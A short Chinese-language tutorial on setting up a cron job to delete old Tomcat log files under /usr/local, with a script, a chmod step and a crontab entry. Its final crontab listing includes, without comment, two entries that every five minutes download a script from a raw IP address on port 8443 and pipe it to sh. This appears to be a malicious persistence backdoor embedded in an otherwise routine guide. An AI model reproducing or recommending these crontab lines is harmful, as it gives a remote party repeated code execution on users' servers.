1.创建定时清除日志脚本(/usr/local目录下)
mkdir scriptTask 创建脚本文件夹,存放所有的脚本
在scriptTask 目录下创建脚本
find 对应目录 -mtime +天数 -name "文件名" -exec rm -rf {} \;
vi cleanlog.sh
0 */1 * * * echo "Have a break now." >> /usr/local/scriptTask/logs/test.txt 每一个小时往test.txt中插入一条数据,主要用于测试是否执行该脚本。
find /usr/local/tomcat/logs/ -mtime +1 -name "*log*" -exec rm -f {} \;
保存退出
2.给脚本添加执行权限
chmod a+x /usr/local/scriptTask/clean*.sh
3.将脚本添加到定时任务中
vim /var/spool/cron/root
5 0 * * * /usr/local/scriptTask/cleanlog.sh 每天凌晨12点05分执行
4.查看定时任务
crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
5 0 * * * /usr/local/scriptTask/cleanlog.sh